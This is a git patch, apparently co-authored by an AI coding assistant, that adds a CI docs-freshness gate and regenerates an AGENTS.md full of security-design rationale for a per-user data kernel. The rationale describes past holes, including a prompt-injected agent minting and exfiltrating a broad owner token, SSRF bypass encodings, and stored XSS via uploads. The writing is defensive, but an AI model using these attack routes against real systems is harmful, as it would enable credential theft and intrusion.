From f940b76b57e70d252b924842514665a22f0c800e Mon Sep 17 00:00:00 2001 From: Danilo Campos Date: Sun, 21 Jun 2026 20:03:47 -0700 Subject: [PATCH 1/4] P1: gate generated-doc freshness; regenerate the stale agent map coherence:verify checks claims-vs-code, not docs-vs-specs, so a spec edit not followed by `coherence docs` lands a stale AGENTS.md silently. That had already happened: the Hive spec ## why was trimmed in 90aa607 but AGENTS.md still carried the pre-trim text (CI green throughout). - Regenerate AGENTS.md + docs/coherence/* from the current spec tree - Add coherence:docs:check (= `coherence docs --check`, timestamp-normalized in-memory diff the harness already supports) - Wire it into CI next to the atlas:check drift gate Symmetric with how the trust atlas is already protected from drift. Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_01Aw74Y9LaHUNmgcf9UkCMQd --- .github/workflows/ci.yml | 8 + mnemion-js/AGENTS.md | 7 +- mnemion-js/docs/coherence/_graph.html | 6 +- mnemion-js/docs/coherence/_overview.html | 11 +- mnemion-js/docs/coherence/graph.json | 200 ++++++++++++++--------- mnemion-js/package.json | 1 + 6 files changed, 146 insertions(+), 87 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index d0c1c15..ceed29b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -103,6 +103,14 @@ jobs: - name: Coherence run: npm run coherence:verify + # The committed generated artifacts (AGENTS.md + docs/coherence/*) must + # match the spec tree. coherence:verify checks claims-vs-code, NOT + # docs-vs-specs, so without this a spec edit that isn't followed by + # `npm run coherence:docs` lands a stale agent map (timestamps normalized + # out of the diff). Symmetric with the atlas:check drift gate above. + - name: Coherence docs freshness + run: npm run coherence:docs:check + mcp-smoke: name: live /mcp surface runs-on: ubuntu-latest diff --git a/mnemion-js/AGENTS.md b/mnemion-js/AGENTS.md index d4039bf..27254be 100644 --- a/mnemion-js/AGENTS.md +++ b/mnemion-js/AGENTS.md @@ -22,7 +22,7 @@ _files:_ `index.ts`, `vite.fragment.ts`, `vite.preview.ts`, `vite.web.ts`, `stor ### Hive `entities/Hive` The single per-user Durable Object that owns all SQLite data and funnels every agent write through one kernel-enforced chokepoint. -_why:_ HiveDO is the single Durable Object that owns the SQLite store; every write funnels through its `mutate`/`batchMutate`/`processInput`/`consumeUpload` chokepoints precisely so the kernel-write boundary is enforced in one place instead of re-derived per call site. `policy.ts` is the dependency-free leaf source of truth for "which patterns agents can write, through which path, what gate fires" — unclassified kernel patterns fail CLOSED (System → denied) so a new pattern can never silently become agent-writable, and kernel/prime/ingress gates all derive from it so the boundary cannot drift between layers. Kernel COLUMNS get the same single-source treatment as kernel patterns. `kernel-columns.ts` is the dependency-free SSOT for the seven auto-provided columns; every "the kernel columns" or named-slice need (the data engine's create-exclude/facet-skip sets, the schema display, the history-diff ignore set) is DERIVED from it by filter, never re-listed, so a slice can't drift from the source. The **facet/kernel-column collision** invariant rides on that: a user-proposed facet may not be named after a kernel column it would COLLIDE with, and the reservation at the `propose_change` chokepoint (`validateFacets`, reached by BOTH create_pattern and add_facet) is `FACET_RESERVED_COLUMNS` — DERIVED as the kernel columns MINUS the user-overridable ones (`USER_OVERRIDABLE_KERNEL_COLUMNS`), never hand-listed. The single overridable column is `version`: create_pattern's apply skips the kernel default when a user declares a `version` facet, so a pattern can carry user-meaningful version semantics (e.g. semver) — that override is intentional, and both the reservation and the skip read the SAME `USER_OVERRIDABLE_KERNEL_COLUMNS` declaration so they can't disagree. The historical bug was a hand-narrowed subset that wrongly omitted `created_by`/`updated_by` (which are NOT overridable — a same-named facet is a duplicate-column DDL error → must be reserved); over-correcting to reserve `version` too then broke the user-version feature. Splitting "overridable" out as its own declaration fixes both directions: `reserved ∪ overridable = KERNEL_COLUMNS`. The `facet-kernel-collision totality` oracle iterates `FACET_RESERVED_COLUMNS` (each rejected on both paths) AND `USER_OVERRIDABLE_KERNEL_COLUMNS` (each allowed) AND asserts the partition is exact — so neither under-reserving nor over-reserving can be reintroduced without failing the suite. The **data-is-destiny no-hybrid** invariant makes the design doctrine ("store truth once, derive its consequences") emergent from the schema rather than a prose principle agents may interpret away. The doctrine is semantic in general — "is this value derivable?" can't be decided from a schema — but it has a DECIDABLE core: a pattern must not STORE an aggregate of rows it also RETAINS. `findStoredDerivedAggregates` (`schema.ts`) checks exactly that over the live `_fields` schema, firing only when BOTH halves are present (a facet named like an aggregate AND a child pattern whose rows reference this one, so the aggregate is COUNT/SUM over retained rows). It stays silent on the legitimate fork a convergence experiment surfaced — a bare counter with no retained instances is the stored truth, not a denormalization — because that has no retained source to derive from; the divergence there was a doctrine-permitted upstream modeling choice (keep the events or not), not a violation. Boot warns (a deliberate materialized aggregate is a valid, reviewed override — advisory, never throws); the `data-is-destiny no-hybrid totality` oracle iterates the live schema and makes it a hard build ratchet, and the meta-oracle (coherence) validates that the oracle iterates a live domain rather than a hand-list — so the doctrine is enforced, derived, and proven-complete, the same anatomy as the security boundaries. The **credential-mint gating** invariant is the consent dual of egress totality. A pattern with a `secret` column (in `SENSITIVE_COLUMNS`) mints a born-hashed BEARER on every create — so creating a row hands out a portable, exfiltratable credential, and that create MUST be consent-gated: either System (never agent-writable) or Consent with a create-gating condition. The `patch_only` consent condition is provably wrong for such a pattern — it declares create benign while create is the dangerous op — and that was a real shipped bug: `_access_tokens` was `patch_only`, so an injected agent could mint a broad `*` token (a full owner login credential, redeemable at `/auth/verify`) in one un-round-tripped `mutate` and exfiltrate it. Fixed by the `on_broad_token` condition: minting a BROAD/portable scope (`*`, or a whole-class `read`/`write` key — `isBroadTokenScope`) round-trips like every other standing grant (`_members`/`_federation_hosts`/`_shared`), while narrow target-bound (`upload`/`document`) and inert (`register`, gated by the `/invite` passkey approval) scopes stay benign so the frequent legit flows aren't taxed; the kernel hook also allow-lists the scope vocabulary so a weird scope can't be minted. The `findUngatedCredentialMints` oracle DERIVES the rule from `SENSITIVE_COLUMNS × KERNEL_WRITE_POLICY` (no new declaration) and iterates the live secret-column set — so re-classifying a credential-minter as `patch_only`/`Open`, or adding a new secret-minting pattern with an ungated create, fails the build. The misclassification is unexpressible. **Born-hashed secrets** is the storage dual: credential-mint gating governs WHEN a bearer may be minted; this governs HOW it's stored. `mintSecrets` is generic over `SENSITIVE_COLUMNS` (it reads `secretColumn(pattern)`) and runs on every engine write path (`mutate`/`batchMutate`/`internalCreate`), so a `secret`-classed column is born-hashed by construction: the preimage is system-generated, returned ONCE in the create response, and only its SHA-256 digest lands in the column, the audit log, and the `/ws` delta — a read (owner or otherwise) yields a digest, never a usable bearer. The `born-hashed-secret totality` oracle iterates the live secret-column set and verifies the property end-to-end (a created row persists a digest, a caller-supplied raw is never stored), so a new secret column that isn't actually born-hashed — a missed wiring, a write path that bypassed `mintSecrets`, a regression — fails the build. The structural enforcement (generic `mintSecrets` keyed on the registry) makes the property automatic for any declared secret column; the oracle proves it stayed true. **Immutable-field enforcement** is the registry dual of the create-time hooks: where the `ON_CREATE` hooks decide what a kernel row may be BORN as, the `IMMUTABLE` / `IMMUTABLE_AFTER_CREATE` registries (`kernel.ts`) decide what it may never BECOME. They are the defense-in-depth behind the consent model: `approved_at`/`consumed_at` are `IMMUTABLE` so an agent can't self-approve its own invite or replay a single-use token; a token's `scope`/`member`/`constraints`/`token` and an ingress endpoint's `target_pattern` are `IMMUTABLE_AFTER_CREATE` so a row that passed the create-time validation can't be silently repointed to a stronger capability by a later update; `_members.label` is frozen-after-create (NOT `IMMUTABLE`, which would reject it at birth) because it's the stable handle passkeys/tokens/attribution reference. Enforcement is at ONE chokepoint with two faces: `applyKernelRules` scans top-level keys (the create/update/unarchive path) and `immutableFieldError` covers the patch path (which edits one facet by name and so sidesteps the key scan). The `IMMUTABLE-registry totality` oracle iterates the live `IMMUTABLE ∪ IMMUTABLE_AFTER_CREATE` registries and asserts every declared field is rejected — by BOTH chokepoints, with the registry's own message — on the op it freezes (and that no `IMMUTABLE_AFTER_CREATE` field is also `IMMUTABLE`, which would collapse "set once" into "never settable"). So adding an immutable field that some path forgets to enforce, or a registry entry whose message never fires, fails the build — the same anatomy as the other boundaries, applied to mutation-in-place. (`scopeMatches`, the token-authz `:`-boundary prefix grammar these freezes protect, is pinned by its own matrix test — a fixed-grammar correctness property, not a live-domain totality, so it is verified but not a boundary.) **Instance-identity host** closes the last unmanaged crossing the trust atlas surfaced (public-egress → owner-trusted): the host every generated capability URL is built from. The invariant — a configured `WORKER_HOST` is AUTHORITATIVE and the inbound `Host` is IGNORED, so an attacker who plants a spoofed `Host` on an unauthenticated request (e.g. a `/ws` upgrade) can't poison an `upload_url`/`page_url`/`og_image` handed to the owner — was enforced by `currentHost` but proven only by CONVENTION (no oracle; the convention detector and the atlas both flagged `currentHost` as tier-3). The decision is now the pure `resolveHost` (`shared/core/host.ts`): configured-wins-else-observed-else-localhost, with the placeholder treated as unconfigured (a deploy that skipped `npm run setup`). `currentHost` delegates the whole thing, so the `instance-identity host resolution` test — which asserts a real `WORKER_HOST` beats EVERY spoofed inbound host, and the observed host is the local-dev fallback only — IS the boundary. Anchored `via guard` (a pure source property); the atlas reads `currentHost` as tier-1 via `anchoredBy: resolveHost`. With this the manifold has zero tier-3 security crossings. **SQL-identifier quoting** is the structural enshrinement of an injection boundary that was a CONVENTION: the SQL-identifier crossing (a raw string becoming a table/column token in SQL) was guarded by "validate the identifier, then interpolate `"${x}"`" at scattered sites — validation and quoting as SEPARATE steps a new site can forget. `quoteIdent` (`shared/core/sql.ts`) fuses them into ONE transition map: it validates against `IDENTIFIER_RE` and returns the double-quoted identifier, throwing on any injection-bearing name (quotes, spaces, `;`, leading digit) — so an identifier that skipped the upstream semantic check still cannot carry injection through. The agent-facing query engine (`data.ts`: query/filter/sort/aggregate/group_by/search, ~20 sites) routes every SQL identifier through it; the upstream semantic checks (`facetMeta`/`isValidColumn`/`patternExists`) stay as the primary gate, with `quoteIdent` as fail-closed defense beneath. The `quoteIdent — grammar` test pins the grammar (valid names incl. kernel columns quote; injection throws); anchored `via guard` as a fixed source grammar. This moved the SQL-identifier boundary from tier-3 (convention) to tier-1 (enshrined) in the trust atlas. (DDL identifier interpolation in `schema.ts`/`evolution.ts` is the tracked follow-up; the coarse `injection-lint` ratchet still covers those + the HTML egress sinks until they're enshrined too.) **Token-scope-grammar** is the classifier dual of credential-mint gating: that boundary decides a credential-minting create must be consent-gated; this decides WHICH token scopes are "broad" enough to require the round-trip. The consent gate (`on_broad_token`) round-trips a portable/standing scope and lets a narrow target-bound scope mint freely — so the partition `isBroadTokenScope` draws over the scope grammar IS the security boundary. It drifted: a bare `parts.length >= 3` length cutoff classified `read:entry:` (3 parts) as narrow, but `scopeMatches` prefix-grants it every `read:entry::` — i.e. a pattern-WIDE standing read key that minted with NO consent round-trip, an exfil credential a prompt-injected agent could mint and carry off. The fix classifies by the RESOURCE GRAMMAR, not a length: a scope is narrow only when it reaches its kind's LEAF depth (`entry` addresses a leaf at depth 4 — `pattern:id`; `output`/`publication`/`document`/`input` at depth 3 — a single `path`/`id`), so `read:entry:` falls short of its leaf and is broad. The `broad-token scope-grammar totality` oracle enumerates every grammar shape (leaf forms → narrow, class/wildcard keys → broad, target-bound/inert → benign, malformed → fail-closed-broad) AND asserts the verdict is CONSISTENT with `scopeMatches` (a narrow scope grants at most one served leaf, never a class) AND reconciles the shapes against the served kinds `io.ts` actually mints — so a new served resource kind can't leave the partition incomplete. It is anchored `via guard` (not `via test`): like `scopeMatches`, it is a fixed-grammar classifier property, not a totality over a runtime-varying domain — `via guard` is the honest verb for a source-property oracle. The agent-facing WRITE surface reaches the engine over two transports — the interactive MCP `mutate` tool (`entities/Session/session.ts`) and the browser-authenticated `/api/mutate`. The *gating DECISIONS* those transports share — which gate a single op must clear (`mutateGate`: patch-reject vs. consent round-trip vs. pass), which op may not ride inside a batch (`findGatedBatchOp`), and how loosely-typed tool input normalizes (`normalizeMutateData`/`isSingleOpData`) — live in `mutate-gate.ts` as PURE derivations of `policy.ts`, not inline imperative branches in the MCP handler. That removes the real drift vector (an `/api`+RPC test passing while the MCP Zod/consent layer silently breaks): the decision has one tested home. The interactive consent round-trip MECHANICS (`checkAndArmConsent` + re-issue) stay in `session.ts` because only the MCP path can satisfy them; `mutate-gate.ts` decides WHETHER the round-trip fires, never how. `/api` stays owner-implicit (a logged-in human IS the consent) and does not consult the consent decision. Reads share the SAME boundary, on the same flag. `DataContext.trusted` is required and gates kernel access symmetrically: an untrusted context (`!trusted`) may neither write a kernel pattern nor read one. The trust decision is a CAPABILITY, not a per-call-site convention: `HiveDO` exposes two named constructors over a trust-agnostic `ctxFields` — `ownerDataCtx` (the ONLY `trusted: true`) and `servedDataCtx` (`trusted: false`) — and there is no trust parameter to dial at a call site. Served/untrusted reads (public page chart/metric, OG card, publication source, `/o/entry`) AND untrusted writes (ingress, upload) go through `servedDataCtx`, where the `data.ts` engine refuses any kernel pattern — so a serve/ingress sink physically cannot read or write `_access_tokens`/`_members`/etc. ALL served public reads — the public-page + OG-card render orchestration AND `getSharedEntry`/`resolvePublication`/`resolveOutput`/`getInputVisibility` — live in one module (`served.ts`), handed a narrow `ServedContext` that exposes ONLY the served reader (`servedQuery`) for user-pattern data plus a small set of bound kernel-CONFIG lookups (each returning ONE specific answer — a `_shared` visibility, a `_publications`/`_outputs`/`_inputs` config row, supersession ids, facet metadata) — never `db`, never a trusted context, no way to construct one — so every served read's user-pattern access IS the kernel-refusing chokepoint and the kernel-config reads stay confined to single-answer hands (the same shape `federation.ts` gets for its allow-list). The DO keeps thin RPC stubs (the RPC contract io.ts calls) over those functions. That made the old per-block `isKernelPattern` guard in `renderBlockHtml` provably redundant (a kernel-named block just reads back empty through `servedQuery`); it was deleted, leaving one chokepoint instead of a guard to forget per block type. The same redundancy retired `getSharedEntry`'s old hand-rolled `isKernelPattern` guard: its entry read now goes through `servedQuery` (which refuses kernel patterns at the engine AND binds the id, so no SQL-identifier injection), exactly as the render path's per-block guard was retired — the `patternExists`/`Number.isInteger(id)` checks survive only as a clean early not-found, never as the security gate. Because trust is fixed by the constructor (and the engine flag is required, no default), a NEW serve path can't silently inherit kernel access; it fails CLOSED. `context-capability totality` guards that the split can't rot back into a trust-defaulting factory. This replaced a block-list of scattered per-sink `isKernelPattern` checks that failed open. The read totality is the served-entry-point enumeration in `security.test.ts`, the analogue of `policy.test.ts` for writes. Instance identity is configuration, not request data: `currentHost()` is authoritative on `WORKER_HOST` and IGNORES the inbound `Host`, so an attacker cannot poison a capability URL (`upload_url`/`page_url`/`og_image`) by sending a spoofed `Host` on an unauthenticated request (e.g. a `/ws` upgrade). Egress sensitivity is the read/serialization dual of the write registry, and it is composed CORE + per-feature through the SAME discipline as write policy. The bug this invariant exists to kill was a FALSE oracle: the feature-security barrel (`entities/features/security.ts`) used to compose write policy from one hand-list and sensitive columns from a SECOND hand-list, and the second silently omitted a feature (`pages`) — and unlike the write side (guarded by `verifyWritePolicyTotality` walking the live `KERNEL_TABLES`), the egress side had NO totality oracle. A forked feature that declared a `redact`/`secret` column but forgot the barrel line got silently no `seal`/audit/export redaction. The fix makes the DOMAIN the live feature set: a single `FEATURE_SECURITY` registry holds one `{name, writePolicy?, sensitiveColumns?}` entry per feature, and BOTH `FEATURE_WRITE_POLICY` and `FEATURE_SENSITIVE_COLUMNS` are DERIVED by iterating it — there is no second hand-list, so a feature's sensitive columns can no longer be dropped independently of its write policy. `verifyEgressTotality` (the boundary's oracle, at the composed `SENSITIVE_COLUMNS`) asserts every column ANY feature declares survives into the effective registry — a real totality over the declared domain, the analogue of `verifyWritePolicyTotality` for outward emission. The pre-existing `findUnclassifiedSensitiveColumns` is honestly demoted to a complementary NAME heuristic (it only catches secret-NAMED columns with no policy at all; it cannot see a sensitive column with an innocuous name), not masquerading as full totality. Cross-hive (foreign-URI) resolution lives in its own module (`federation.ts`), the one place that sends THIS hive's access token (`?token=` → `Authorization: Bearer`) to another origin. Its token-send is CO-LOCATED with the allow-list consent check in a single function (`federatedResolve`) precisely so the approved host and the contacted host can never drift apart: a token is attached only to a request whose host is BOTH not `isBlockedFederationHost` (SSRF block) AND `isHostAllowed` (the `_federation_hosts` consent allow-list), and that pair is re-validated on the INITIAL request AND on EVERY redirect hop, in lockstep with the fetch loop. Splitting the gate from the fetch — across modules or call sites — would let a future edit move one without the other; here they move as a unit. The DO hands the module a NARROW `FederationContext` — only the bound allow-list lookup (`isHostAllowed`, wrapping `_federation_hosts`, never `db`) + `errorJson` — so federation cannot read anything else; `resolve` stays on the DO and decides local vs. federated before dispatching here. This is the security analysis's "condition #2". **SSRF block-host coverage** is the totality dual of that SSRF guard. `isBlockedFederationHost` must refuse every class of non-public target — loopback/private/CGNAT/link-local IPv4 (in every inet_aton encoding — dotted-decimal, octal, hex, integer), the IPv6 loopback/ULA/link-local/mapped/NAT64/6to4 forms, and the `.localhost`/`.local`/`.internal`/`.lan` suffixes — and a dropped category is a silent SSRF reopening (the cloud-metadata IP `169.254.169.254` is the canonical target). The guard's correctness was a CONVENTION ("remember to cover every encoding") with no completeness check; the `SSRF block-host totality` oracle makes it a CONTRACT — a category→example table iterated to assert each class is blocked (and a public dual is allowed), so a new bypass class fails the build by name. Anchored `via guard`: like the scope grammar, it enumerates a fixed category set (a source property), not a runtime-varying domain. +_why:_ HiveDO is the single Durable Object that owns the SQLite store; every write funnels through its `mutate`/`batchMutate`/`processInput`/`consumeUpload` chokepoints so the kernel-write boundary is enforced in one place instead of re-derived per call site. `policy.ts` is the dependency-free leaf SSOT for "which patterns agents can write, through which path, what gate fires" — unclassified kernel patterns fail CLOSED (System → denied), so a new pattern can never silently become agent-writable, and kernel/prime/ingress gates all derive from it so the boundary can't drift between layers. (The per-boundary paragraphs below record the non-derivable rationale — the bug or rejected alternative each boundary exists to kill. The mechanism — chokepoint, oracle, "iterates the live domain → fails the build" — is carried by the `## invariants` list and the `boundary "…" at via test ""` claims above, and isn't restated here.) **facet/kernel-column collision.** Kernel COLUMNS get the same single-source treatment as kernel patterns: `kernel-columns.ts` is the SSOT for the seven auto-provided columns, and every named slice (the data engine's create-exclude/facet-skip sets, schema display, history-diff ignore set) is DERIVED from it. A user-proposed facet may not collide with a kernel column, so `validateFacets` reserves `FACET_RESERVED_COLUMNS` — the kernel columns MINUS the user-overridable ones. The one overridable column is `version` (a pattern may declare its own semver semantics; create_pattern's apply skips the kernel default). The historical bug was a hand-narrowed reserved subset that wrongly omitted `created_by`/`updated_by` (a same-named facet is a duplicate-column DDL error — they MUST be reserved); over-correcting to reserve `version` then broke the user-version feature. Splitting "overridable" into its own declaration fixes both directions at once: `reserved ∪ overridable = KERNEL_COLUMNS`, so neither under- nor over-reserving can recur. **data-is-destiny no-hybrid.** Makes the "store truth once, derive its consequences" doctrine emergent from the schema rather than prose an agent can interpret away. The doctrine is semantic in general, but it has a DECIDABLE core: a pattern must not STORE an aggregate of rows it also RETAINS. `findStoredDerivedAggregates` checks exactly that, firing only when BOTH halves are present (an aggregate-named facet AND a child pattern referencing this one). It stays silent on the legitimate fork a convergence experiment surfaced — a bare counter with no retained instances IS the stored truth, not a denormalization, because there's no retained source to derive from. Boot warns rather than throws: a deliberate materialized aggregate is a valid reviewed override. **credential-mint gating.** The consent dual of egress totality. A pattern with a `secret` column mints a born-hashed BEARER on every create, so that create MUST be consent-gated. `patch_only` is provably wrong for such a pattern — it declares create benign while create is the dangerous op — and that was a real shipped bug: `_access_tokens` was `patch_only`, so an injected agent could mint a broad `*` token (a full owner login credential, redeemable at `/auth/verify`) in one un-round-tripped `mutate` and exfiltrate it. Fixed by `on_broad_token`: minting a broad/portable scope (`*`, or a whole-class `read`/`write` key — `isBroadTokenScope`) round-trips like every other standing grant, while narrow target-bound (`upload`/`document`) and inert (`register`, gated by `/invite` passkey approval) scopes stay benign so the frequent legit flows aren't taxed. The rule DERIVES from `SENSITIVE_COLUMNS × KERNEL_WRITE_POLICY` (no new declaration), so re-classifying a credential-minter as `patch_only`/`Open` is unexpressible. **born-hashed secrets.** The storage dual: credential-mint gating governs WHEN a bearer is minted; this governs HOW it's stored. `mintSecrets` is generic over `SENSITIVE_COLUMNS` and runs on every engine write path, so a `secret`-classed column is born-hashed by construction — the preimage is system-generated, returned ONCE in the create response, and only its SHA-256 digest lands in the column, the audit log, and the `/ws` delta. A read (owner or otherwise) yields a digest, never a usable bearer. The structural enforcement (generic `mintSecrets` keyed on the registry) makes this automatic for any declared secret column. **immutable-field enforcement.** The registry dual of the create-time hooks: where `ON_CREATE` decides what a kernel row may be BORN as, `IMMUTABLE` / `IMMUTABLE_AFTER_CREATE` decide what it may never BECOME — the defense-in-depth behind the consent model. `approved_at`/`consumed_at` are `IMMUTABLE` so an agent can't self-approve its own invite or replay a single-use token; a token's `scope`/`member`/`constraints`/`token` and an ingress endpoint's `target_pattern` are `IMMUTABLE_AFTER_CREATE` so a row that passed create-time validation can't be silently repointed to a stronger capability; `_members.label` is frozen-after-create (NOT `IMMUTABLE`, which would reject it at birth) because it's the stable handle passkeys/tokens/attribution reference. Enforcement has two faces because the patch path edits one facet by name and sidesteps the top-level key scan: `applyKernelRules` covers create/update/unarchive, `immutableFieldError` covers patch. (`scopeMatches`, the `:`-boundary prefix grammar these freezes protect, is pinned by its own matrix test — a fixed-grammar correctness property, not a live-domain totality, so it's verified but not a boundary.) **instance-identity host.** Closes the last unmanaged crossing the trust atlas surfaced (public-egress → owner-trusted): the host every generated capability URL is built from. A configured `WORKER_HOST` is AUTHORITATIVE and the inbound `Host` is IGNORED, so an attacker who plants a spoofed `Host` on an unauthenticated request (e.g. a `/ws` upgrade) can't poison an `upload_url`/`page_url`/`og_image` handed to the owner. This was enforced by `currentHost` but proven only by convention (the detector and atlas both flagged it tier-3). The decision is now the pure `resolveHost` (configured-wins-else-observed-else-localhost, placeholder treated as unconfigured), which `currentHost` delegates to — so the test IS the boundary. With this the manifold has zero tier-3 security crossings. **sql-identifier quoting.** The structural enshrinement of an injection boundary that was a convention. The SQL-identifier crossing (a raw string becoming a table/column token) was guarded by "validate, then interpolate `"${x}"`" at scattered sites — two SEPARATE steps a new site can forget. `quoteIdent` fuses them: it validates against `IDENTIFIER_RE` and returns the double-quoted identifier, throwing on any injection-bearing name — so an identifier that skipped the upstream semantic check still can't carry injection. The query engine (~20 sites in `data.ts`) routes every identifier through it; the semantic checks (`facetMeta`/`isValidColumn`/`patternExists`) stay as the primary gate with `quoteIdent` as fail-closed defense beneath. This moved the boundary from tier-3 to tier-1. (DDL interpolation in `schema.ts`/`evolution.ts` is the tracked follow-up; the coarse `injection-lint` ratchet still covers those + the HTML egress sinks until they're enshrined too.) **token-scope-grammar.** The classifier dual of credential-mint gating: that boundary decides a credential-minting create must be consent-gated; this decides WHICH scopes are "broad" enough to require the round-trip — so the partition `isBroadTokenScope` draws over the scope grammar IS the boundary. It drifted: a bare `parts.length >= 3` cutoff classified `read:entry:` (3 parts) as narrow, but `scopeMatches` prefix-grants it every `read:entry::` — a pattern-WIDE standing read key minted with NO round-trip, an exfil credential. The fix classifies by RESOURCE GRAMMAR, not length: a scope is narrow only when it reaches its kind's LEAF depth (`entry` at depth 4 — `pattern:id`; `output`/`publication`/`document`/`input` at depth 3), so `read:entry:` falls short and is broad. The oracle reconciles the partition against both `scopeMatches` and the kinds `io.ts` actually mints, so a new served resource kind can't leave it incomplete. **The write surface, two transports.** The agent-facing WRITE surface reaches the engine over the interactive MCP `mutate` tool and the browser-authenticated `/api/mutate`. The *gating decisions* they share — which gate a single op must clear (`mutateGate`), which op may not ride inside a batch (`findGatedBatchOp`), how loosely-typed tool input normalizes — live in `mutate-gate.ts` as PURE derivations of `policy.ts`, not inline branches in the MCP handler. That removes the real drift vector: an `/api`+RPC test passing while the MCP Zod/consent layer silently breaks. The interactive consent round-trip MECHANICS (`checkAndArmConsent` + re-issue) stay in `session.ts` because only the MCP path can satisfy them; `mutate-gate.ts` decides WHETHER the round-trip fires, never how. `/api` stays owner-implicit (a logged-in human IS the consent). **kernel read+write capability.** Reads share the SAME boundary on the SAME flag: `DataContext.trusted` is required and gates kernel access symmetrically — an untrusted context may neither write nor read a kernel pattern. Trust is a CAPABILITY, not a per-call-site convention: `HiveDO` exposes two named constructors over a trust-agnostic `ctxFields` — `ownerDataCtx` (the ONLY `trusted: true`) and `servedDataCtx` (`trusted: false`) — with no trust parameter to dial at a call site, so served reads (public page, OG card, publication, `/o/entry`) AND untrusted writes (ingress, upload) physically cannot reach kernel data. All served public reads live in one module (`served.ts`), handed a narrow `ServedContext` exposing only `servedQuery` for user-pattern data plus single-answer kernel-CONFIG lookups (a `_shared` visibility, an endpoint config row, supersession ids, facet metadata) — never `db`, never a trusted context, no way to construct one. This made the old per-block / per-entry `isKernelPattern` guards provably redundant (a kernel-named read returns empty through `servedQuery`, which also binds the id against injection); they were deleted, leaving one chokepoint instead of a guard to forget per sink — replacing a block-list that failed open. **egress-sensitivity totality.** The read/serialization dual of the write registry, composed CORE + per-feature by the SAME discipline. The bug it kills was a FALSE oracle: the feature-security barrel composed write policy from one hand-list and sensitive columns from a SECOND, and the second silently omitted a feature (`pages`) — and unlike the write side, the egress side had no totality oracle, so a forked feature that declared a `redact`/`secret` column but forgot the barrel line got silently no `seal`/audit/export redaction. The fix makes the DOMAIN the live feature set: one `FEATURE_SECURITY` registry, and BOTH `FEATURE_WRITE_POLICY` and `FEATURE_SENSITIVE_COLUMNS` derive from it — no second hand-list, so a feature's sensitive columns can't be dropped independently of its write policy. `findUnclassifiedSensitiveColumns` is honestly demoted to a complementary NAME heuristic (it can't see a sensitive column with an innocuous name), not masquerading as full totality. **Federation.** Cross-hive resolution lives in its own module (`federation.ts`), the one place that sends THIS hive's access token to another origin. Its token-send is CO-LOCATED with the allow-list consent check in a single function (`federatedResolve`) so the approved host and the contacted host can never drift apart: a token attaches only to a request whose host is BOTH not `isBlockedFederationHost` (SSRF) AND `isHostAllowed` (the `_federation_hosts` allow-list), re-validated on the initial request AND every redirect hop. Splitting gate from fetch — across modules or call sites — would let a future edit move one without the other; here they move as a unit. The DO hands the module a NARROW `FederationContext` (only the bound allow-list lookup + `errorJson`), so federation can read nothing else. This is the security analysis's "condition #2". **SSRF block-host coverage.** The totality dual of that SSRF guard. `isBlockedFederationHost` must refuse every class of non-public target — loopback/private/CGNAT/link-local IPv4 in every inet_aton encoding (dotted-decimal, octal, hex, integer), the IPv6 loopback/ULA/link-local/mapped/NAT64/6to4 forms, and the `.localhost`/`.local`/`.internal`/`.lan` suffixes — and a dropped category is a silent SSRF reopening (the canonical target is the cloud-metadata IP `169.254.169.254`). Its correctness was a convention ("remember every encoding") with no completeness check; the oracle's category→example table makes a new bypass class fail the build by name. _works when:_ - hive.ts exists at this node @@ -139,7 +139,7 @@ _files:_ `extract.ts`, `git.ts`, `og-png.ts`, `publications.ts`, `web.ts` ### Routing `shared/Routing` Declarative HTTP dispatch and session machinery: pattern-matched route table plus constant-time, revocable session auth helpers. -_why:_ The router is the worker's declarative HTTP dispatch (method, pattern, auth gate, param constraints matched in declaration order) with handlers grouped by domain under `routes/`, so the full routing surface stays scannable. Its auth helpers are security-load-bearing: `timingSafeEqual` is constant-time to close a timing-attack finding on secret/token/signature checks, and session cookies carry a random sid plus a KV-stored epoch so every session can be revoked without rotating `MNEMION_SECRET`, while encoding the actor backward-compatibly so deploys don't force a re-login. **Served-content inertness** is the read/serialization dual of the security boundaries: agent- or uploader-authored content served on the FIRST-PARTY origin (which holds the owner's session cookie and can drive `/api/*`/`/mcp`) must never run as active script. The boundary was a CONVENTION ("any served path neutralizes active MIME") correctly implemented at `/o` but silently drifted at two siblings — `/p` publications omitted the `sandbox` directive (so owner-authored markup ran same-origin), and `/f` documents echoed the UPLOADER-controlled `Content-Type` inline with neither `nosniff` nor `sandbox`, turning a `text/html` upload into stored XSS / owner-session theft. The fix makes the convention a CONTRACT: one chokepoint, `inertHeaders(contentType)` (`routes/io.ts`), classifies every served MIME into safe-inline vs active (`ACTIVE_SERVED_MIME` → `Content-Security-Policy: sandbox; default-src 'none'`, forced `attachment` for the file store) and always sets `X-Content-Type-Options: nosniff`; `serveOutput`/`servePublication`/`serveDocument` all route through it. The `served-content inertness totality` oracle enumerates the served egress routes (driving each with active content) AND iterates the live `ACTIVE_SERVED_MIME` registry, asserting every served path returns inert headers — so a NEW served path that emits un-neutralized active content fails the build. The block-list of per-handler MIME handling that could fail open became one chokepoint with a totality over it. **Served-read gating** is the auth dual of inertness: where inertness governs HOW served content is emitted, this governs WHETHER a visibility-gated resource is served at all. Every served READ route that exposes a `_shared`/`_outputs`/`_publications`/`_documents` resource must refuse an unlisted/private resource to an unauthenticated caller — enforced by `denyUnlessBearerScope` (the bearer gate) plus the secretless-deploy 404 short-circuit. This was a CONVENTION ("any new served read route remembers to gate"), a 5-call-site block-list that fails open the moment one route forgets. The `served bearer-gating totality` oracle iterates the served gated-read route table and asserts each refuses an unlisted resource WITHOUT a token (and that the body/secret never rides a refusal) — so a new served read route that exposes a gated resource un-gated would serve the unlisted body and fail. Anchored `via guard`: it enumerates a fixed route-shape set, not a runtime-varying domain. +_why:_ The router is the worker's declarative HTTP dispatch (method, pattern, auth gate, param constraints matched in declaration order) with handlers grouped by domain under `routes/`, so the full routing surface stays scannable. Its auth helpers are security-load-bearing: `timingSafeEqual` is constant-time to close a timing-attack finding on secret/token/signature checks, and session cookies carry a random sid plus a KV-stored epoch so every session can be revoked without rotating `MNEMION_SECRET`, while encoding the actor backward-compatibly so deploys don't force a re-login. **Served-content inertness** is the read/serialization dual of the security boundaries: agent- or uploader-authored content served on the FIRST-PARTY origin (which holds the owner's session cookie and can drive `/api/*`/`/mcp`) must never run as active script. The boundary was a CONVENTION ("any served path neutralizes active MIME") correctly implemented at 